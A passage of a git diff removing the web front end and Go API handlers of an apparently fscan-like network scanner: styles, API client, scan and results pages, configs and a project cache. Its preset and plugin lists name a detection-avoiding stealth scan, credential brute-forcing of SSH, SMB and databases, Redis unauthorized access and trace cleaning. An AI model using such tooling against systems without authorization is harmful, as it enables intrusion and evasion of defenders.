fallbackLng: 'zh', - interpolation: { - escapeValue: false, - }, - }); - -export default i18n; diff --git a/web-ui/src/index.css b/web-ui/src/index.css deleted file mode 100644 index c65fef9d..00000000 --- a/web-ui/src/index.css +++ /dev/null @@ -1,257 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@400;500;600&display=swap'); - -@tailwind base; -@tailwind components; -@tailwind utilities; - -@layer base { - :root { - --background: 0 0% 99%; - --foreground: 220 14% 10%; - --card: 0 0% 100%; - --card-foreground: 220 14% 10%; - --popover: 0 0% 100%; - --popover-foreground: 220 14% 10%; - --primary: 220 14% 10%; - --primary-foreground: 0 0% 99%; - --secondary: 220 13% 95%; - --secondary-foreground: 220 14% 10%; - --muted: 220 13% 95%; - --muted-foreground: 220 9% 46%; - --accent: 220 13% 95%; - --accent-foreground: 220 14% 10%; - --destructive: 0 72% 51%; - --destructive-foreground: 0 0% 99%; - --border: 220 13% 90%; - --input: 220 13% 90%; - --ring: 220 14% 10%; - --radius: 0.5rem; - --success: 142 71% 45%; - --warning: 38 92% 50%; - /* Chart colors */ - --chart-1: 217 91% 60%; - --chart-2: 160 84% 39%; - --chart-3: 43 96% 56%; - --chart-4: 0 72% 51%; - --chart-5: 262 83% 58%; - } - - .dark { - --background: 220 16% 6%; - --foreground: 220 13% 95%; - --card: 220 16% 8%; - --card-foreground: 220 13% 95%; - --popover: 220 16% 8%; - --popover-foreground: 220 13% 95%; - --primary: 220 13% 95%; - --primary-foreground: 220 16% 6%; - --secondary: 220 14% 14%; - --secondary-foreground: 220 13% 95%; - --muted: 220 14% 14%; - --muted-foreground: 220 9% 55%; - --accent: 220 14% 14%; - --accent-foreground: 220 13% 95%; - --destructive: 0 62% 50%; - --destructive-foreground: 220 13% 95%; - --border: 220 14% 16%; - --input: 220 14% 16%; - --ring: 220 13% 95%; - --success: 142 71% 45%; - --warning: 38 92% 50%; - /* Chart colors */ - --chart-1: 217 91% 65%; - --chart-2: 160 84% 45%; - --chart-3: 43 96% 60%; - --chart-4: 0 72% 55%; - --chart-5: 262 83% 65%; - } -} - -@layer base { - * { - @apply border-border; - } - - /* 响应式基础字体 - 放大 */ - html { - font-size: 15px; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; - } - - @media (min-width: 640px) { - html { - font-size: 16px; - } - } - - @media (min-width: 1024px) { - html { - font-size: 17px; - } - } - - @media (min-width: 1280px) { - html { - font-size: 18px; - } - } - - body { - @apply bg-background text-foreground; - font-family: 'IBM Plex Sans', -apple-system, BlinkMacSystemFont, sans-serif; - margin: 0; - line-height: 1.6; - } -} - -@layer components { - /* 响应式容器 - 全屏宽度 */ - .container { - @apply mx-auto px-3 sm:px-4 lg:px-6 xl:px-8; - max-width: 100%; - } - - /* Stat pill - 放大 */ - .stat-pill { - @apply flex items-center gap-2 px-3 py-1.5 rounded-md bg-muted/60 text-sm; - } - - .stat-pill-value { - @apply font-mono font-semibold tabular-nums text-base; - } - - /* Card - 放大 */ - .card-compact { - @apply rounded-lg border bg-card shadow-sm; - } - - .card-compact-header { - @apply flex items-center justify-between px-4 py-3 border-b bg-muted/30; - } - - .card-compact-body { - @apply p-4; - } - - /* Form field - 放大 */ - .field-label { - @apply text-xs font-medium text-muted-foreground uppercase tracking-wide mb-1.5; - } - - .field-input { - @apply h-10 text-sm px-3; - } - - .field-input-mono { - @apply h-10 text-sm px-3 font-mono; - } - - /* Live log styling - 放大 */ - .log-line { - @apply flex items-center gap-3 py-1.5 px-2 text-sm font-mono rounded-md; - @apply hover:bg-muted/50 transition-colors; - } - - .log-time { - @apply text-muted-foreground w-20 shrink-0 text-xs sm:text-sm; - } - - .log-type { - @apply w-16 shrink-0 font-medium text-xs sm:text-sm; - } - - .log-target { - @apply truncate text-xs sm:text-sm; - } - - /* Type colors */ - .type-host { @apply text-blue-600 dark:text-blue-400; } - .type-port { @apply text-emerald-600 dark:text-emerald-400; } - .type-service { @apply text-amber-600 dark:text-amber-400; } - .type-vuln { @apply text-red-600 dark:text-red-400; } - - /* Badge - 放大 */ - .badge { - @apply inline-flex items-center px-2 py-1 rounded-md text-xs font-medium uppercase tracking-wide; - } - - .badge-host { @apply bg-blue-500/10 text-blue-600 dark:text-blue-400; } - .badge-port { @apply bg-emerald-500/10 text-emerald-600 dark:text-emerald-400; } - .badge-service { @apply bg-amber-500/10 text-amber-600 dark:text-amber-400; } - .badge-vuln { @apply bg-red-500/10 text-red-600 dark:text-red-400; } - - /* Switch row - 放大 */ - .switch-row { - @apply flex items-center justify-between py-2 px-3 rounded-md bg-muted/40 text-sm; - } - - /* Scrollbar */ - .scrollbar-thin { - scrollbar-width: thin; - scrollbar-color: hsl(var(--border)) transparent; - } - - .scrollbar-thin::-webkit-scrollbar { - width: 6px; - height: 6px; - } - - .scrollbar-thin::-webkit-scrollbar-track { - background: transparent; - } - - .scrollbar-thin::-webkit-scrollbar-thumb { - background-color: hsl(var(--border)); - border-radius: 3px; - } - - /* Animations */ - @keyframes fade-in { - from { opacity: 0; transform: translateY(-2px); } - to { opacity: 1; transform: translateY(0); } - } - - .animate-fade-in { - animation: fade-in 0.15s ease-out; - } - - @keyframes slide-up { - from { opacity: 0; transform: translateY(4px); } - to { opacity: 1; transform: translateY(0); } - } - - .animate-slide-up { - animation: slide-up 0.2s ease-out; - } - - @keyframes pulse-soft { - 0%, 100% { opacity: 1; } - 50% { opacity: 0.6; } - } - - .animate-pulse-soft { - animation: pulse-soft 2s ease-in-out infinite; - } - - /* Focus ring */ - .focus-ring { - @apply focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 focus:ring-offset-background; - } - - /* Hover lift effect */ - .hover-lift { - @apply transition-transform hover:-translate-y-0.5; - } - - /* Subtle shadow on hover */ - .hover-shadow { - @apply transition-shadow hover:shadow-md; - } -} - -@layer utilities { - .font-mono { - font-family: 'IBM Plex Mono', ui-monospace, monospace; - } -} diff --git a/web-ui/src/lib/api.ts b/web-ui/src/lib/api.ts deleted file mode 100644 index 9640f5c2..00000000 --- a/web-ui/src/lib/api.ts +++ /dev/null @@ -1,141 +0,0 @@ -const API_BASE = '/api'; - -export interface ScanRequest { - host: string; - ports?: string; - exclude_hosts?: string; - exclude_ports?: string; - scan_mode?: string; - thread_num?: number; - timeout?: number; - module_thread_num?: number; - disable_ping?: boolean; - disable_brute?: boolean; - alive_only?: boolean; - username?: string; - password?: string; - domain?: string; - poc_path?: string; - poc_name?: string; - poc_full?: boolean; - disable_poc?: boolean; -} - -export interface ScanStatus { - state: 'idle' | 'running' | 'stopping'; - start_time?: string; - progress: number; - stats: ScanStats; -} - -export interface ScanStats { - hosts_scanned: number; - ports_scanned: number; - services_found: number; - vulns_found: number; -} - -export interface ResultItem { - id: number; - time: string; - type: string; - target: string; - status: string; - details?: Record; -} - -export interface ScanPreset { - id: string; - name: string; - name_en: string; - description: string; - description_en: string; - ports: string; - scan_mode: string; - thread_num: number; - timeout: number; -} - -export interface PluginInfo { - name: string; - type: string; - description: string; - description_en: string; - enabled: boolean; -} - -// API functions -export async function startScan(request: ScanRequest): Promise<{ status: string; start_time: string }> { - const response = await fetch(`${API_BASE}/scan/start`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(request), - }); - if (!response.ok) { - const error = await response.json(); - throw new Error(error.error || 'Failed to start scan'); - } - return response.json(); -} - -export async function stopScan(): Promise<{ status: string }> { - const response = await fetch(`${API_BASE}/scan/stop`, { - method: 'POST', - }); - if (!response.ok) { - const error = await response.json(); - throw new Error(error.error || 'Failed to stop scan'); - } - return response.json(); -} - -export async function getScanStatus(): Promise { - const response = await fetch(`${API_BASE}/scan/status`); - if (!response.ok) { - throw new Error('Failed to get scan status'); - } - return response.json(); -} - -export async function getResults(type?: string): Promise<{ items: ResultItem[]; total: number; stats: ScanStats }> { - const url = type ? `${API_BASE}/results?type=${type}` : `${API_BASE}/results`; - const response = await fetch(url); - if (!response.ok) { - throw new Error('Failed to get results'); - } - return response.json(); -} - -export async function exportResults(format: 'json' | 'csv'): Promise { - const response = await fetch(`${API_BASE}/results/export?format=${format}`); - if (!response.ok) { - throw new Error('Failed to export results'); - } - return response.blob(); -} - -export async function clearResults(): Promise<{ status: string }> { - const response = await fetch(`${API_BASE}/results/clear`, { - method: 'POST', - }); - if (!response.ok) { - throw new Error('Failed to clear results'); - } - return response.json(); -} - -export async function getPresets(): Promise { - const response = await fetch(`${API_BASE}/config/presets`); - if (!response.ok) { - throw new Error('Failed to get presets'); - } - return response.json(); -} - -export async function getPlugins(): Promise { - const response = await fetch(`${API_BASE}/config/plugins`); - if (!response.ok) { - throw new Error('Failed to get plugins'); - } - return response.json(); -} diff --git a/web-ui/src/lib/utils.ts b/web-ui/src/lib/utils.ts deleted file mode 100644 index d084ccad..00000000 --- a/web-ui/src/lib/utils.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { type ClassValue, clsx } from "clsx" -import { twMerge } from "tailwind-merge" - -export function cn(...inputs: ClassValue[]) { - return twMerge(clsx(inputs)) -} diff --git a/web-ui/src/main.tsx b/web-ui/src/main.tsx deleted file mode 100644 index bef5202a..00000000 --- a/web-ui/src/main.tsx +++ /dev/null @@ -1,10 +0,0 @@ -import { StrictMode } from 'react' -import { createRoot } from 'react-dom/client' -import './index.css' -import App from './App.tsx' - -createRoot(document.getElementById('root')!).render( - - - , -) diff --git a/web-ui/src/pages/ResultsPage.tsx b/web-ui/src/pages/ResultsPage.tsx deleted file mode 100644 index bfdb6d9a..00000000 --- a/web-ui/src/pages/ResultsPage.tsx +++ /dev/null @@ -1,299 +0,0 @@ -import { useState, useEffect, useCallback } from 'react'; -import { useTranslation } from 'react-i18next'; -import { - Trash2, RefreshCw, Server, Network, Cog, AlertTriangle, - FileJson, FileSpreadsheet, List, Filter, Clock, CircleDot, Inbox, - Download, ChevronDown -} from 'lucide-react'; -import { Button } from '@/components/ui/button'; -import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'; -import { ScrollArea } from '@/components/ui/scroll-area'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { Separator } from '@/components/ui/separator'; -import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'; -import { - AlertDialog, - AlertDialogAction, - AlertDialogCancel, - AlertDialogContent, - AlertDialogDescription, - AlertDialogFooter, - AlertDialogHeader, - AlertDialogTitle, - AlertDialogTrigger, -} from '@/components/ui/alert-dialog'; -import { - DropdownMenu, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuTrigger, -} from '@/components/ui/dropdown-menu'; -import { Skeleton } from '@/components/ui/skeleton'; -import { EmptyState } from '@/components/ui/empty-state'; -import { LiveFeed } from '@/components/LiveFeed'; -import { ResultsChart } from '@/components/ResultsChart'; -import { getResults, exportResults, clearResults, type ResultItem } from '@/lib/api'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -const TYPE_ICONS = { - host: Server, - port: Network, - service: Cog, - vuln: AlertTriangle, -} as const; - -export function ResultsPage() { - const { t } = useTranslation(); - const { clearLogs } = useLiveFeed(); - const [results, setResults] = useState([]); - const [filter, setFilter] = useState('all'); - const [loading, setLoading] = useState(false); - - const fetchResults = useCallback(async () => { - setLoading(true); - try { - const data = await getResults(); - setResults(data.items); - } catch (err) { - console.error('Failed to fetch results:', err); - } finally { - setLoading(false); - } - }, []); - - useEffect(() => { - fetchResults(); - }, [fetchResults]); - - const handleExport = async (format: 'json' | 'csv') => { - try { - const blob = await exportResults(format); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `fscan_results.${format}`; - a.click(); - URL.revokeObjectURL(url); - } catch (err) { - console.error('Failed to export:', err); - } - }; - - const handleClear = async () => { - try { - await clearResults(); - setResults([]); - clearLogs(); - } catch (err) { - console.error('Failed to clear:', err); - } - }; - - const getTypeIcon = (type: string) => { - const key = type?.toLowerCase() as keyof typeof TYPE_ICONS; - return TYPE_ICONS[key] || CircleDot; - }; - - const getTypeLabel = (type: string) => { - switch (type?.toLowerCase()) { - case 'host': return t('typeHost'); - case 'port': return t('typePort'); - case 'service': return t('typeService'); - case 'vuln': return t('typeVuln'); - default: return type; - } - }; - - const filteredResults = filter === 'all' - ? results - : results.filter(r => r.type === filter); - - return ( - -
- {/* Left Panel - 7 cols */} -
- {/* Live Feed */} - - - {/* Results Panel */} - - - - - {t('resultsTitle')} - - {filteredResults.length} {t('items')} - - -
- - - - - {t('refresh')} - - - - - - - - handleExport('json')}> - - JSON - - handleExport('csv')}> - - CSV - - - - - - - - - - - - - {t('clearConfirmTitle')} - {t('clearConfirm')} - - - {t('cancel')} - - {t('clearAll')} - - - - -
-
- - - - - - - {t('resultsFilterAll')} - - - - {t('resultsFilterHosts')} - - - - {t('resultsFilterPorts')} - - - - {t('resultsFilterServices')} - - - - {t('resultsFilterVulns')} - - - - - - {loading ? ( -
- {[...Array(5)].map((_, i) => ( -
- -
-
- - -
- -
- -
- ))} -
- ) : filteredResults.length === 0 ? ( - - ) : ( -
- {filteredResults.map((result) => { - const Icon = getTypeIcon(result.type); - const badgeVariant = result.type?.toLowerCase() as 'host' | 'port' | 'service' | 'vuln'; - return ( -
-
- -
-
-
- - {getTypeLabel(result.type)} - - - {result.target} - -
- {result.status && ( -

- {result.status} -

- )} -
- - - {new Date(result.time).toLocaleTimeString()} - -
- ); - })} -
- )} -
-
-
-
-
-
- - {/* Right Panel - 3 cols */} -
-
- -
-
-
-
- ); -} diff --git a/web-ui/src/pages/ScanPage.tsx b/web-ui/src/pages/ScanPage.tsx deleted file mode 100644 index e273feeb..00000000 --- a/web-ui/src/pages/ScanPage.tsx +++ /dev/null @@ -1,119 +0,0 @@ -import { useState, useEffect } from 'react'; -import { useTranslation } from 'react-i18next'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import { ScanForm } from '@/components/ScanForm'; -import { LiveFeed } from '@/components/LiveFeed'; -import { StatsPanel } from '@/components/StatsPanel'; -import { startScan, stopScan, getScanStatus, getPresets, type ScanRequest, type ScanStatus, type ScanPreset } from '@/lib/api'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -const DEFAULT_FORM: ScanRequest = { - host: '', - ports: '', - scan_mode: 'all', - thread_num: 600, - timeout: 3, - disable_ping: false, - disable_brute: false, - alive_only: false, - username: '', - password: '', - domain: '', - exclude_hosts: '', - exclude_ports: '', -}; - -export function ScanPage() { - const { t } = useTranslation(); - const { clearLogs } = useLiveFeed(); - const [status, setStatus] = useState(null); - const [presets, setPresets] = useState([]); - const [loading, setLoading] = useState(false); - const [error, setError] = useState(null); - const [formData, setFormData] = useState(DEFAULT_FORM); - - useEffect(() => { - const fetchData = async () => { - try { - const [statusData, presetsData] = await Promise.all([ - getScanStatus(), - getPresets(), - ]); - setStatus(statusData); - setPresets(presetsData); - } catch (err) { - console.error('Failed to fetch data:', err); - } - }; - fetchData(); - - const interval = setInterval(async () => { - try { - const statusData = await getScanStatus(); - setStatus(statusData); - } catch { - // ignore - } - }, 2000); - - return () => clearInterval(interval); - }, []); - - const handleStart = async () => { - if (!formData.host) { - setError(t('targetRequired')); - return; - } - setLoading(true); - setError(null); - clearLogs(); - try { - await startScan(formData); - } catch (err) { - setError(err instanceof Error ? err.message : t('startScanFailed')); - } finally { - setLoading(false); - } - }; - - const handleStop = async () => { - setLoading(true); - try { - await stopScan(); - } catch (err) { - setError(err instanceof Error ? err.message : t('stopScanFailed')); - } finally { - setLoading(false); - } - }; - - const isRunning = status?.state === 'running'; - const isStopping = status?.state === 'stopping'; - - return ( - -
- {/* Left Panel - 7 cols */} -
- - -
- - {/* Right Panel - 3 cols */} -
- -
-
-
- ); -} diff --git a/web-ui/tailwind.config.js b/web-ui/tailwind.config.js deleted file mode 100644 index cdf3b3a1..00000000 --- a/web-ui/tailwind.config.js +++ /dev/null @@ -1,66 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - "./index.html", - "./src/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - fontFamily: { - sans: ['IBM Plex Sans', '-apple-system', 'BlinkMacSystemFont', 'sans-serif'], - mono: ['IBM Plex Mono', 'ui-monospace', 'monospace'], - }, - fontSize: { - '2xs': ['0.625rem', { lineHeight: '0.875rem' }], - }, - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - success: "hsl(var(--success))", - warning: "hsl(var(--warning))", - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - spacing: { - '0.75': '0.1875rem', - '1.25': '0.3125rem', - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} diff --git a/web-ui/tsconfig.app.json b/web-ui/tsconfig.app.json deleted file mode 100644 index 3d2edafd..00000000 --- a/web-ui/tsconfig.app.json +++ /dev/null @@ -1,32 +0,0 @@ -{ - "compilerOptions": { - "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", - "target": "ES2022", - "useDefineForClassFields": true, - "lib": ["ES2022", "DOM", "DOM.Iterable"], - "module": "ESNext", - "types": ["vite/client", "node"], - "skipLibCheck": true, - - /* Bundler mode */ - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "verbatimModuleSyntax": true, - "moduleDetection": "force", - "noEmit": true, - "jsx": "react-jsx", - - /* Path aliases */ - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - }, - - /* Linting */ - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true - }, - "include": ["src"] -} diff --git a/web-ui/tsconfig.json b/web-ui/tsconfig.json deleted file mode 100644 index 1ffef600..00000000 --- a/web-ui/tsconfig.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "files": [], - "references": [ - { "path": "./tsconfig.app.json" }, - { "path": "./tsconfig.node.json" } - ] -} diff --git a/web-ui/tsconfig.node.json b/web-ui/tsconfig.node.json deleted file mode 100644 index 8a67f62f..00000000 --- a/web-ui/tsconfig.node.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "compilerOptions": { - "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", - "target": "ES2023", - "lib": ["ES2023"], - "module": "ESNext", - "types": ["node"], - "skipLibCheck": true, - - /* Bundler mode */ - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "verbatimModuleSyntax": true, - "moduleDetection": "force", - "noEmit": true, - - /* Linting */ - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "erasableSyntaxOnly": true, - "noFallthroughCasesInSwitch": true, - "noUncheckedSideEffectImports": true - }, - "include": ["vite.config.ts"] -} diff --git a/web-ui/vite.config.ts b/web-ui/vite.config.ts deleted file mode 100644 index ec6137e5..00000000 --- a/web-ui/vite.config.ts +++ /dev/null @@ -1,25 +0,0 @@ -import { defineConfig } from 'vite' -import react from '@vitejs/plugin-react' -import path from 'path' - -// https://vite.dev/config/ -export default defineConfig({ - plugins: [react()], - resolve: { - alias: { - '@': path.resolve(__dirname, './src'), - }, - }, - server: { - proxy: { - '/api': { - target: 'http://localhost:10240', - changeOrigin: true, - }, - '/ws': { - target: 'ws://localhost:10240', - ws: true, - }, - }, - }, -}) diff --git a/web/api/config.go b/web/api/config.go deleted file mode 100644 index 34b0ddf3..00000000 --- a/web/api/config.go +++ /dev/null @@ -1,138 +0,0 @@ -//go:build web - -package api - -import ( - "net/http" -) - -// ScanPreset 扫描预设 -type ScanPreset struct { - ID string `json:"id"` - Name string `json:"name"` - NameEn string `json:"name_en"` - Description string `json:"description"` - DescEn string `json:"description_en"` - Ports string `json:"ports"` - ScanMode string `json:"scan_mode"` - ThreadNum int `json:"thread_num"` - Timeout int `json:"timeout"` -} - -// PluginInfo 插件信息 -type PluginInfo struct { - Name string `json:"name"` - Type string `json:"type"` // service, web, local - Description string `json:"description"` - DescEn string `json:"description_en"` - Enabled bool `json:"enabled"` -} - -// ConfigHandler 配置处理器 -type ConfigHandler struct{} - -// NewConfigHandler 创建配置处理器 -func NewConfigHandler() *ConfigHandler { - return &ConfigHandler{} -} - -// 预设配置 -var presets = []ScanPreset{ - { - ID: "quick", - Name: "快速扫描", - NameEn: "Quick Scan", - Description: "仅扫描常用端口,速度最快", - DescEn: "Scan common ports only, fastest speed", - Ports: "21,22,23,80,443,445,1433,3306,3389,6379,8080", - ScanMode: "all", - ThreadNum: 1000, - Timeout: 2, - }, - { - ID: "standard", - Name: "标准扫描", - NameEn: "Standard Scan", - Description: "扫描主要端口,平衡速度和覆盖", - DescEn: "Scan main ports, balance between speed and coverage", - Ports: "21,22,23,25,80,110,135,139,143,443,445,465,587,993,995,1433,1521,3306,3389,5432,5900,6379,8080,8443,9000,27017", - ScanMode: "all", - ThreadNum: 600, - Timeout: 3, - }, - { - ID: "full", - Name: "完整扫描", - NameEn: "Full Scan", - Description: "扫描所有常用端口,最完整", - DescEn: "Scan all common ports, most comprehensive", - Ports: "1-1000,1433,1521,3306,3389,5432,5900,6379,8000-9000,27017", - ScanMode: "all", - ThreadNum: 400, - Timeout: 5, - }, - { - ID: "stealth", - Name: "隐蔽扫描", - NameEn: "Stealth Scan", - Description: "低速扫描,减少被检测风险", - DescEn: "Low-speed scan, reduce detection risk", - Ports: "21,22,23,80,443,445,3389,8080", - ScanMode: "all", - ThreadNum: 50, - Timeout: 10, - }, - { - ID: "web", - Name: "Web专项", - NameEn: "Web Focus", - Description: "专注Web服务和漏洞检测", - DescEn: "Focus on web services and vulnerability detection", - Ports: "80,443,8080,8443,8000,8888,9000,9090,9999", - ScanMode: "all", - ThreadNum: 200, - Timeout: 5, - }, -} - -// 插件列表 -var plugins = []PluginInfo{ - // 服务类 - {Name: "ssh", Type: "service", Description: "SSH服务检测与爆破", DescEn: "SSH service detection and brute force", Enabled: true}, - {Name: "smb", Type: "service", Description: "SMB服务检测与爆破", DescEn: "SMB service detection and brute force", Enabled: true}, - {Name: "rdp", Type: "service", Description: "RDP服务检测", DescEn: "RDP service detection", Enabled: true}, - {Name: "mysql", Type: "service", Description: "MySQL数据库检测与爆破", DescEn: "MySQL database detection and brute force", Enabled: true}, - {Name: "mssql", Type: "service", Description: "MSSQL数据库检测与爆破", DescEn: "MSSQL database detection and brute force", Enabled: true}, - {Name: "postgresql", Type: "service", Description: "PostgreSQL数据库检测与爆破", DescEn: "PostgreSQL database detection and brute force", Enabled: true}, - {Name: "redis", Type: "service", Description: "Redis服务检测与未授权访问", DescEn: "Redis service detection and unauthorized access", Enabled: true}, - {Name: "mongodb", Type: "service", Description: "MongoDB数据库检测", DescEn: "MongoDB database detection", Enabled: true}, - {Name: "ftp", Type: "service", Description: "FTP服务检测与爆破", DescEn: "FTP service detection and brute force", Enabled: true}, - {Name: "telnet", Type: "service", Description: "Telnet服务检测", DescEn: "Telnet service detection", Enabled: true}, - - // Web类 - {Name: "webinfo", Type: "web", Description: "Web指纹识别", DescEn: "Web fingerprinting", Enabled: true}, - {Name: "poc", Type: "web", Description: "POC漏洞检测", DescEn: "POC vulnerability detection", Enabled: true}, - - // 本地类 - {Name: "cleaner", Type: "local", Description: "痕迹清理", DescEn: "Trace cleaning", Enabled: false}, -} - -// Presets 获取扫描预设 -func (h *ConfigHandler) Presets(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - writeJSON(w, http.StatusOK, presets) -} - -// Plugins 获取插件列表 -func (h *ConfigHandler) Plugins(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - writeJSON(w, http.StatusOK, plugins) -} diff --git a/web/api/project.go b/web/api/project.go deleted file mode 100644 index 14693846..00000000 --- a/web/api/project.go +++ /dev/null @@ -1,293 +0,0 @@ -//go:build web - -package api - -import ( - "crypto/rand" - "encoding/json" - "fmt" - "net/http" - "os" - "path/filepath" - "strings" - "sync" - "time" -) - -// ProjectCache 项目缓存:跨扫描持久化已知资产 -type ProjectCache struct { - ID string `json:"id"` - Name string `json:"name"` - Hosts map[string]int64 `json:"hosts"` // IP → 最后发现时间戳(unix) - Ports map[string]int64 `json:"ports"` // "IP:Port" → 最后发现时间戳(unix) - Results []ResultItem `json:"results"` // 历史结果(合并去重) - CreatedAt time.Time `json:"created_at"` - UpdatedAt time.Time `json:"updated_at"` -} - -// ProjectStore 项目存储管理 -type ProjectStore struct { - mu sync.RWMutex - projects map[string]*ProjectCache - dir string -} - -var globalProjectStore *ProjectStore - -func init() { - home, _ := os.UserHomeDir() - dir := filepath.Join(home, ".fscan", "projects") - globalProjectStore = &ProjectStore{ - projects: make(map[string]*ProjectCache), - dir: dir, - } - globalProjectStore.loadAll() -} - -// loadAll 从磁盘加载所有项目 -func (ps *ProjectStore) loadAll() { - _ = os.MkdirAll(ps.dir, 0750) - entries, err := os.ReadDir(ps.dir) - if err != nil { - return - } - for _, e := range entries { - if e.IsDir() || !strings.HasSuffix(e.Name(), ".json") { - continue - } - data, err := os.ReadFile(filepath.Join(ps.dir, e.Name())) - if err != nil { - continue - } - var p ProjectCache - if json.Unmarshal(data, &p) == nil && p.ID != "" { - ps.projects[p.ID] = &p - } - } -} - -// save 持久化单个项目 -func (ps *ProjectStore) save(p *ProjectCache) error { - _ = os.MkdirAll(ps.dir, 0750) - data, err := json.MarshalIndent(p, "", " ") - if err != nil { - return err - } - return os.WriteFile(filepath.Join(ps.dir, p.ID+".json"), data, 0640) -} - -// Get 获取项目 -func (ps *ProjectStore) Get(id string) *ProjectCache { - ps.mu.RLock() - defer ps.mu.RUnlock() - return ps.projects[id] -} - -// List 列出所有项目 -func (ps *ProjectStore) List() []*ProjectCache { - ps.mu.RLock() - defer ps.mu.RUnlock() - list := make([]*ProjectCache, 0, len(ps.projects)) - for _, p := range ps.projects { - list = append(list, p) - } - return list -} - -// Create 创建项目 -func (ps *ProjectStore) Create(name string) (*ProjectCache, error) { - ps.mu.Lock() - defer ps.mu.Unlock() - - id := genID() - p := &ProjectCache{ - ID: id, - Name: name, - Hosts: make(map[string]int64), - Ports: make(map[string]int64), - Results: make([]ResultItem, 0), - CreatedAt: time.Now(), - UpdatedAt: time.Now(), - } - if err := ps.save(p); err != nil { - return nil, err - } - ps.projects[id] = p - return p, nil -} - -// Delete 删除项目 -func (ps *ProjectStore) Delete(id string) error { - ps.mu.Lock() - defer ps.mu.Unlock() - delete(ps.projects, id) - return os.Remove(filepath.Join(ps.dir, id+".json")) -} - -// MergeResults 将扫描结果合并进项目缓存 -func (ps *ProjectStore) MergeResults(id string, items []ResultItem) error { - ps.mu.Lock() - defer ps.mu.Unlock() - - p, ok := ps.projects[id] - if !ok { - return fmt.Errorf("project not found: %s", id) - } - - now := time.Now().Unix() - - // 构建已有结果的去重集合 - seen := make(map[string]bool, len(p.Results)) - for _, r := range p.Results { - seen[resultKey(r)] = true - } - - for _, item := range items { - // 更新资产缓存 - switch strings.ToLower(item.Type) { - case "host": - if item.Target != "" { - p.Hosts[item.Target] = now - } - case "port", "service": - if item.Target != "" { - p.Ports[item.Target] = now - // 提取 host 部分也记入 Hosts - if host := extractHost(item.Target); host != "" { - p.Hosts[host] = now - } - } - } - - // 合并去重 - key := resultKey(item) - if !seen[key] { - seen[key] = true - p.Results = append(p.Results, item) - } - } - - p.UpdatedAt = time.Now() - return ps.save(p) -} - -// CachedHostPorts 返回缓存的 host:port 列表(供注入扫描) -func (ps *ProjectStore) CachedHostPorts(id string) []string { - ps.mu.RLock() - defer ps.mu.RUnlock() - - p, ok := ps.projects[id] - if !ok { - return nil - } - result := make([]string, 0, len(p.Ports)) - for hp := range p.Ports { - result = append(result, hp) - } - return result -} - -func resultKey(r ResultItem) string { - return fmt.Sprintf("%s|%s|%s", r.Type, r.Target, r.Status) -} - -func genID() string { - b := make([]byte, 8) - _, _ = rand.Read(b) - return fmt.Sprintf("%x", b) -} - -// ─── HTTP Handlers ────────────────────────────────────────────────────────── - -type ProjectHandler struct { - store *ProjectStore -} - -func NewProjectHandler() *ProjectHandler { - return &ProjectHandler{store: globalProjectStore} -} - -// List 列出所有项目 -func (h *ProjectHandler) List(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - writeJSON(w, http.StatusOK, h.store.List()) -} - -// Create 创建项目 -func (h *ProjectHandler) Create(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - var req struct { - Name string `json:"name"` - } - if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Name == "" { - writeJSON(w, http.StatusBadRequest, map[string]string{"error": "name is required"}) - return - } - p, err := h.store.Create(req.Name) - if err != 